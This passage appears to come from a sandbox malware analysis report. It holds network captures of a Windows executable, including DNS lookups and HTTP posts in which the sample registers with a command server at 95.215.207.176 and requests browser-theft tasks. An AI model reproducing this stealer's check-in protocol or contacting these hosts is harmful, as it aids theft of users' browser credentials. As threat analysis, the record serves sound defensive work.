Nov 1, 2024 13:42:30.614634037 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.614646912 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.614648104 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.614659071 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.614684105 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.614712000 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.615113020 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.615130901 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.615171909 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.615181923 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.615195036 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.616750956 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.616775990 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.616815090 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.616826057 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.616839886 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.616869926 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.637031078 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.637048006 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.637087107 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.637124062 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.637125969 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.637142897 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.637180090 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.637192965 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.637307882 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.637326956 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.637371063 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.637379885 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.637393951 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.638062000 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.714617968 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.714646101 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.714704037 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.714741945 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.714760065 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.714879990 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.714889050 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.714905024 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.714941978 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.714950085 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.714977026 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.714989901 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.715168953 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.715198040 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.715231895 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.715241909 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.715253115 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.715281963 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.716672897 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.716692924 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.716747046 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.716758013 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.716766119 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.716780901 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.716784954 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.716814041 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.716819048 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.716849089 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.716937065 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.716985941 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.716985941 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.716986895 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.717009068 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.717582941 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.717602968 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:31.190857887 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:31.195863962 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:32.907615900 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:32.907804966 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:35.189730883 CET	49763	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:35.189766884 CET	443	49763	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:35.189878941 CET	49763	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:35.190269947 CET	49763	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:35.190284967 CET	443	49763	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:36.296197891 CET	443	49763	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:36.296272039 CET	49763	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:36.313656092 CET	49763	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:36.313679934 CET	443	49763	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:36.313898087 CET	443	49763	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:36.314467907 CET	49763	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:36.314523935 CET	49763	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:36.314558983 CET	443	49763	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:36.734807968 CET	443	49763	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:36.778608084 CET	49763	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:36.778640985 CET	443	49763	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:36.779691935 CET	49763	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:36.779731989 CET	49763	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:36.779890060 CET	443	49763	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:36.779926062 CET	443	49763	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:36.779989958 CET	49763	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:36.819200993 CET	49764	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:36.819267988 CET	443	49764	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:36.819391012 CET	49764	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:36.819542885 CET	49764	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:36.819569111 CET	443	49764	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:37.920887947 CET	443	49764	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:37.964987993 CET	49764	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:37.965009928 CET	443	49764	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:38.030564070 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:38.030639887 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:38.054464102 CET	49764	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:38.054480076 CET	443	49764	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:38.054507971 CET	49764	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:38.054519892 CET	443	49764	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:40.583419085 CET	62301	53	192.168.2.4	162.159.36.2
Nov 1, 2024 13:42:40.588249922 CET	53	62301	162.159.36.2	192.168.2.4
Nov 1, 2024 13:42:40.588392019 CET	62301	53	192.168.2.4	162.159.36.2
Nov 1, 2024 13:42:40.593381882 CET	53	62301	162.159.36.2	192.168.2.4
Nov 1, 2024 13:42:40.814052105 CET	443	49764	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:40.814088106 CET	443	49764	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:40.814094067 CET	443	49764	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:40.814095974 CET	443	49764	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:40.814184904 CET	443	49764	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:40.814224958 CET	49764	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:40.814254999 CET	443	49764	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:40.814275980 CET	49764	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:40.814306974 CET	49764	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:40.814946890 CET	49764	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:40.814946890 CET	49764	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:40.814958096 CET	443	49764	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:40.815141916 CET	443	49764	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:40.815170050 CET	443	49764	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:40.815267086 CET	49764	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:40.897546053 CET	62302	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:40.897610903 CET	443	62302	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:40.897800922 CET	62302	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:40.898385048 CET	62302	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:40.898397923 CET	443	62302	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:41.214502096 CET	62301	53	192.168.2.4	162.159.36.2
Nov 1, 2024 13:42:41.219738960 CET	53	62301	162.159.36.2	192.168.2.4
Nov 1, 2024 13:42:41.219868898 CET	62301	53	192.168.2.4	162.159.36.2
Nov 1, 2024 13:42:41.821938992 CET	62304	443	192.168.2.4	52.149.20.212
Nov 1, 2024 13:42:41.821986914 CET	443	62304	52.149.20.212	192.168.2.4
Nov 1, 2024 13:42:41.822047949 CET	62304	443	192.168.2.4	52.149.20.212
Nov 1, 2024 13:42:41.822567940 CET	62304	443	192.168.2.4	52.149.20.212
Nov 1, 2024 13:42:41.822582960 CET	443	62304	52.149.20.212	192.168.2.4
Nov 1, 2024 13:42:42.010648012 CET	443	62302	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:42.011259079 CET	62302	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:42.011292934 CET	443	62302	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:42.011744022 CET	62302	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:42.011744976 CET	62302	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:42.011761904 CET	443	62302	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:42.011784077 CET	443	62302	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:42.774090052 CET	443	62302	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:42.774112940 CET	443	62302	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:42.774153948 CET	443	62302	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:42.774306059 CET	62302	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:42.774306059 CET	62302	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:42.774324894 CET	443	62302	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:42.774570942 CET	62302	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:42.774570942 CET	62302	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:42.774588108 CET	443	62302	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:42.774734020 CET	443	62302	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:42.774768114 CET	443	62302	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:42.775595903 CET	62302	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:42.795768023 CET	62305	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:42.795813084 CET	443	62305	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:42.796011925 CET	62305	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:42.796036959 CET	62305	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:42.796044111 CET	443	62305	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:43.016249895 CET	443	62304	52.149.20.212	192.168.2.4
Nov 1, 2024 13:42:43.016485929 CET	62304	443	192.168.2.4	52.149.20.212
Nov 1, 2024 13:42:43.017869949 CET	62304	443	192.168.2.4	52.149.20.212
Nov 1, 2024 13:42:43.017877102 CET	443	62304	52.149.20.212	192.168.2.4
Nov 1, 2024 13:42:43.018130064 CET	443	62304	52.149.20.212	192.168.2.4
Nov 1, 2024 13:42:43.026457071 CET	62304	443	192.168.2.4	52.149.20.212
Nov 1, 2024 13:42:43.067379951 CET	443	62304	52.149.20.212	192.168.2.4
Nov 1, 2024 13:42:43.319099903 CET	443	62304	52.149.20.212	192.168.2.4
Nov 1, 2024 13:42:43.319124937 CET	443	62304	52.149.20.212	192.168.2.4
Nov 1, 2024 13:42:43.319140911 CET	443	62304	52.149.20.212	192.168.2.4
Nov 1, 2024 13:42:43.319259882 CET	62304	443	192.168.2.4	52.149.20.212
Nov 1, 2024 13:42:43.319288015 CET	443	62304	52.149.20.212	192.168.2.4
Nov 1, 2024 13:42:43.319349051 CET	62304	443	192.168.2.4	52.149.20.212
Nov 1, 2024 13:42:43.319917917 CET	443	62304	52.149.20.212	192.168.2.4
Nov 1, 2024 13:42:43.319971085 CET	443	62304	52.149.20.212	192.168.2.4
Nov 1, 2024 13:42:43.319977045 CET	62304	443	192.168.2.4	52.149.20.212
Nov 1, 2024 13:42:43.319988966 CET	443	62304	52.149.20.212	192.168.2.4
Nov 1, 2024 13:42:43.320028067 CET	62304	443	192.168.2.4	52.149.20.212
Nov 1, 2024 13:42:43.320621967 CET	443	62304	52.149.20.212	192.168.2.4
Nov 1, 2024 13:42:43.320666075 CET	443	62304	52.149.20.212	192.168.2.4
Nov 1, 2024 13:42:43.320713043 CET	62304	443	192.168.2.4	52.149.20.212
Nov 1, 2024 13:42:43.324275970 CET	62304	443	192.168.2.4	52.149.20.212
Nov 1, 2024 13:42:43.324294090 CET	443	62304	52.149.20.212	192.168.2.4
Nov 1, 2024 13:42:43.324306011 CET	62304	443	192.168.2.4	52.149.20.212
Nov 1, 2024 13:42:43.324311018 CET	443	62304	52.149.20.212	192.168.2.4
Nov 1, 2024 13:42:44.307301998 CET	443	62305	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:44.307954073 CET	62305	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:44.307972908 CET	443	62305	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:44.308559895 CET	62305	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:44.308564901 CET	443	62305	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:44.308588028 CET	62305	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:44.308595896 CET	443	62305	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:44.692421913 CET	443	62305	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:44.692444086 CET	443	62305	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:44.692502975 CET	62305	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:44.692514896 CET	443	62305	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:44.694544077 CET	62305	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:44.694559097 CET	443	62305	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:44.694566965 CET	62305	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:44.694710970 CET	443	62305	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:44.694740057 CET	443	62305	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:44.694792986 CET	62305	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:44.719768047 CET	62306	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:44.719805956 CET	443	62306	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:44.722275019 CET	62306	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:44.722403049 CET	62306	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:44.722419977 CET	443	62306	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:45.832386971 CET	443	62306	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:45.832868099 CET	62306	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:45.832890987 CET	443	62306	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:45.833383083 CET	62306	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:45.833388090 CET	443	62306	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:45.833429098 CET	62306	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:45.833439112 CET	443	62306	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:46.619018078 CET	443	62306	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:46.619055986 CET	443	62306	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:46.619111061 CET	443	62306	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:46.619126081 CET	62306	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:46.619152069 CET	443	62306	40.126.32.74	192.168.2.4
Nov 1, 2024 13:42:46.619168043 CET	62306	443	192.168.2.4	40.126.32.74
Nov 1, 2024 13:42:46.619437933 CET	62306	443	192.168.2.4	40.126.32.74

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 1, 2024 13:42:04.394074917 CET	192.168.2.4	1.1.1.1	0x4517	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 13:42:04.394525051 CET	192.168.2.4	1.1.1.1	0xaf2a	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 1, 2024 13:42:08.626837969 CET	192.168.2.4	1.1.1.1	0x76e5	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 13:42:08.627012968 CET	192.168.2.4	1.1.1.1	0x2dc0	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 1, 2024 13:42:09.621357918 CET	192.168.2.4	1.1.1.1	0x36e4	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 13:42:09.621572971 CET	192.168.2.4	1.1.1.1	0xf293	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 1, 2024 13:42:27.173456907 CET	192.168.2.4	1.1.1.1	0xe71a	Standard query (0)	perseverclinic.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 1, 2024 13:42:04.400907040 CET	1.1.1.1	192.168.2.4	0x4517	No error (0)	www.google.com		172.217.18.100	A (IP address)	IN (0x0001)	false
Nov 1, 2024 13:42:04.401185989 CET	1.1.1.1	192.168.2.4	0xaf2a	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 1, 2024 13:42:08.633573055 CET	1.1.1.1	192.168.2.4	0x76e5	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 13:42:08.633573055 CET	1.1.1.1	192.168.2.4	0x76e5	No error (0)	plus.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Nov 1, 2024 13:42:08.634429932 CET	1.1.1.1	192.168.2.4	0x2dc0	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 13:42:09.628520966 CET	1.1.1.1	192.168.2.4	0x36e4	No error (0)	play.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Nov 1, 2024 13:42:27.203171968 CET	1.1.1.1	192.168.2.4	0xe71a	No error (0)	perseverclinic.com		87.106.236.48	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	95.215.207.176	80	6956	C:\Users\user\Desktop\xLgTQcFdIJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 13:41:57.925720930 CET	89	OUT	GET / HTTP/1.1 Host: 95.215.207.176 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 13:41:58.769788027 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:41:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 13:41:58.773736000 CET	418	OUT	POST /d8ddb681db736e16.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJDAEGCAFIIDGDGCGIJ Host: 95.215.207.176 Content-Length: 217 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 36 42 43 46 38 33 42 43 36 33 38 31 38 30 36 39 37 30 37 35 32 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 2d 2d 0d 0a Data Ascii: ------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="hwid"C6BCF83BC6381806970752------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="build"LogsDiller------AKJDAEGCAFIIDGDGCGIJ--
Nov 1, 2024 13:41:59.051208019 CET	407	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:41:58 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 6d 49 34 4d 47 49 7a 4e 44 4d 79 4d 6a 59 77 4e 44 55 77 4d 6a 4d 35 4d 6a 6b 7a 4d 32 51 35 4e 44 4a 6a 4e 54 56 6d 5a 47 4e 69 4f 47 49 32 4d 6a 6b 35 4e 6d 4e 6d 4f 44 46 68 59 6a 42 6c 4d 32 52 6d 4d 54 6b 32 4e 44 63 34 4d 6d 52 68 5a 6d 56 6c 5a 57 45 30 4d 6d 55 31 4e 7a 52 6a 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 46 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZmI4MGIzNDMyMjYwNDUwMjM5MjkzM2Q5NDJjNTVmZGNiOGI2Mjk5NmNmODFhYjBlM2RmMTk2NDc4MmRhZmVlZWE0MmU1NzRjfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDF8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 1, 2024 13:41:59.691097975 CET	469	OUT	POST /d8ddb681db736e16.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIJEBFCGDAAKFHIDBFI Host: 95.215.207.176 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 49 4a 45 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 38 30 62 33 34 33 32 32 36 30 34 35 30 32 33 39 32 39 33 33 64 39 34 32 63 35 35 66 64 63 62 38 62 36 32 39 39 36 63 66 38 31 61 62 30 65 33 64 66 31 39 36 34 37 38 32 64 61 66 65 65 65 61 34 32 65 35 37 34 63 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 4a 45 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 4a 45 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 2d 2d 0d 0a Data Ascii: ------CFIJEBFCGDAAKFHIDBFIContent-Disposition: form-data; name="token"fb80b34322604502392933d942c55fdcb8b62996cf81ab0e3df1964782dafeeea42e574c------CFIJEBFCGDAAKFHIDBFIContent-Disposition: form-data; name="message"browsers------CFIJEBFCGDAAKFHIDBFI--
Nov 1, 2024 13:42:00.039483070 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:41:59 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: 